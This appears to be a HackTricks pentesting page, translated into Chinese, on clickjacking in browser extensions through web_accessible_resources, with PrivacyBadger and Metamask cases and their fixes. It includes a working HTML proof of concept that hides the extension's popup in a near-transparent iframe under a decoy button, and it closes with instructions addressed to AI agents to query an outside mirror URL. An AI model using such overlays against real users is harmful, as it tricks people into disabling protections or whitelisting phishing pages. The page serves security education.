# BrowExt - ClickJacking

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

本页面将利用浏览器扩展中的点击劫持漏洞。\
如果您不知道什么是点击劫持，请查看：

{% content-ref url="/pages/kY649rW9zrz59WxFYhie" %}
[Clickjacking](/pentesting-web/clickjacking.md)
{% endcontent-ref %}

扩展包含文件\*\*`manifest.json`\*\*，而该JSON文件具有字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web_accessible_resources)对此的解释：

> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用，可以使用\*\*`extension.getURL方法`\*\*生成。经过允许的资源将使用适当的CORS标头提供，因此可以通过诸如XHR之类的机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)

浏览器扩展中的\*\*`web_accessible_resources`\*\*不仅可以通过网络访问，还可以利用扩展的固有特权。这意味着它们具有以下功能：

* 更改扩展的状态
* 加载其他资源
* 在一定程度上与浏览器交互

然而，这个功能存在安全风险。如果\*\*`web_accessible_resources`\*\*中的资源具有任何重要功能，攻击者可能会将此资源嵌入到外部网页中。访问此页面的毫不知情的用户可能会无意中激活此嵌入式资源。这种激活可能导致意外后果，取决于扩展资源的权限和功能。

## PrivacyBadger示例

在扩展程序PrivacyBadger中，发现了一个与`skin/`目录声明为`web_accessible_resources`相关的漏洞（请查看原始的[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)）。

```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```

这种配置导致了潜在的安全问题。具体来说，`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时呈现，可能会被嵌入到一个 `iframe` 中。这种嵌入可能被利用来欺骗用户，使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危害用户的隐私，并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示，链接为 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。

为了解决这个漏洞，实施了一个简单的解决方案：从 `web_accessible_resources` 列表中移除 `/skin/*`。这一变更有效地减轻了风险，确保 `skin/` 目录的内容不能通过 web 可访问资源进行访问或操纵。

修复方法很简单：**从 `web_accessible_resources` 中移除 `/skin/*`**。

### PoC

```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```

## Metamask Example

[**关于Metamask中ClickJacking的博文可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下，Metamask通过检查用于访问它的协议是否为\*\*`https:`**或**`http:`**（例如不是**`chrome:`\*\*）来修复了漏洞：

<figure><img src="/files/6JbaOGGTo1i9wVIqFwB9" alt=""><figcaption></figcaption></figure>

Metamask扩展中的**另一个ClickJacking漏洞**是，当页面因`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`而被怀疑是钓鱼页面时，用户可以**点击以将其加入白名单**。由于该页面容易受到Clickjacking攻击，攻击者可以滥用它显示一些正常内容，使受害者在不知情的情况下点击以将其加入白名单，然后返回到已被加入白名单的钓鱼页面。

## Steam Inventory Helper Example

查看以下页面，了解浏览器扩展中的**XSS**是如何与**ClickJacking**漏洞链接在一起的：

{% content-ref url="/pages/fBdM7ifiuNReeyNmaOAQ" %}
[BrowExt - XSS Example](/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
{% endcontent-ref %}

## References

* <https://blog.lizzie.io/clickjacking-privacy-badger.html>
* <https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
